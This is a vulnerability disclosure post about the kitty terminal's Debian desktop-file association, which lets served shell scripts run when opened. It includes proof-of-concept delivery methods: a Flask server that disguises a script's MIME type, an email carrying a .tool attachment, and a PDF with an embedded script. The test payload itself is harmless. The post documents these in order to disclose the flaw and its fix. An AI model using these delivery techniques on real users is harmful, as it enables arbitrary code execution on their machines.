/dev/posts/

Arbitrary code execution through kitty-open.desktop file association

にゃあにゃあ

Published:

Updated:

In Debian kitty package, the kitty-open.desktop file would associate kitty +open with several MIME types. This could be used to arbitrary trigger code execution by serving a file with such a MIME type.

This has been introduced in kitty in 73a197fcd (2022-02-06) released as part of v0.24.3. This has been fixed in v0.26.5-5 of the Debian kitty package. Fixed upstream in 537cabca7 released in v0.29.0. Other distributions such as Ubuntu Lunar are still impacted.

Timeline

Note: timeline

I found about this in 2023-05-06 but it turns out this had been reported as Debian Bug 1034875 few days before (2023-04-26). This feature has been introduced in 2022-09-06 (commit 01d866f48) of kitty.

Table of content

Summary

Kitty as packaged by registers itself as a handler (kitty +open) for several MIME types such as application/x-sh and application/x-shellscript. When called with such as file, kitty executes the shell script. This may be exploited by an attacker to execute arbitrary code by serving a malicious shell script.

Observed in:

Details

Note that the attacker can try to trick the user into believing the malicious script is an innocuous file by:

Kitty executes shell code when the file uses the .sh, .command, .tool, .fish, .bash or .zsh extension:

# Open script files
protocol file
ext sh,command,tool
action launch --hold --type=os-window kitty +shebang $FILE_PATH $SHELL

# Open shell specific script files
protocol file
ext fish,bash,zsh
action launch --hold --type=os-window kitty +shebang $FILE_PATH __ext__

Exploitation

Malicious web server

#!/usr/bin/python3

from xml.sax.saxutils import escape
from flask import Flask, make_response

def xmlescape(data):
    return escape(data, entities={
        "'": "'",
        "\"": """
    })

app = Flask(__name__)


@app.route("/test.tool")
def route():
    data = open("test.sh", "rb").read()
    response = make_response(data)
    response.content_type = "text/p1ain" # Unrecognized MIME type
    return response


resources = [
    "/test.tool",
]


@app.route("/")
def home():
    html = "<meta charset='utf8'><ul>" + "".join([
        f"<li><a href='{xmlescape(resource)}'>{xmlescape(resource)}</a></li>"
        for resource in resources
        ])+ "</ul>"
    response = make_response(html)
    response.content_type = "text/html"
    return response
Arbitrary code execution through malicious web resource in Firefox

Malicious email attachment

To: Bob <bob@example.com>
From: Alice <alice@example.com>
Subject: Test
Message-ID: <9d3781d2-b165-4bf8-99ec-7f9c56372f52@example.com>
Date: Thu, 13 May 2021 09:05:40 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
 Thunderbird/78.10.0
MIME-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------99C154C06B53866E3351CA8D"
Content-Language: en-US

This is a multi-part message in MIME format.
--------------99C154C06B53866E3351CA8D
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit



--------------99C154C06B53866E3351CA8D
Content-Type: text/ascii
Content-Disposition: attachment;
 filename="test.tool"

#!/bin/sh
xterm -e nyancat
Arbitrary code execution through a malicious email in Thunderbird

Malicious PDF attachment

A malicious script could be attached to a PDF. When trying to view such attachment, Okular would call kitty +open which would execute the scrit.

Arbitrary code execution through malicious PDF in Okular

The following command could be used to create such a file:

weasyprint test.md test.pdf -a test.tool

Mitigation

This could be mitigated by removing the kitty-open.desktop file.

Resolution

This has been fixed in the Debian package by disabling kitty-open.desktop (shipping it as an example).

An upstream fix has been introduced in Kitty in order to ask for confirmation before executing a script file which is not not marked as executable.

Appendix, Desktop Entry

Found in Debian package:

[Desktop Entry]
Version=1.0
Type=Application
Name=kitty URL Launcher
GenericName=Terminal emulator
Comment=Open URLs with kitty
TryExec=kitty
Exec=kitty +open %U
Icon=kitty
Categories=System;TerminalEmulator;
NoDisplay=true
MimeType=image/*;application/x-sh;application/x-shellscript;inode/directory;text/*;x-scheme-handler/kitty;

Found in upstream source (setup.py)

[Desktop Entry]
Version=1.0
Type=Application
Name=kitty URL Launcher
GenericName=Terminal emulator
Comment=Open URLs with kitty
TryExec=kitty
Exec=kitty +open %U
Icon=kitty
Categories=System;TerminalEmulator;
NoDisplay=true
MimeType=image/*;application/x-sh;application/x-shellscript;inode/directory;text/*;x-scheme-handler/kitty;x-scheme-handler/ssh;

References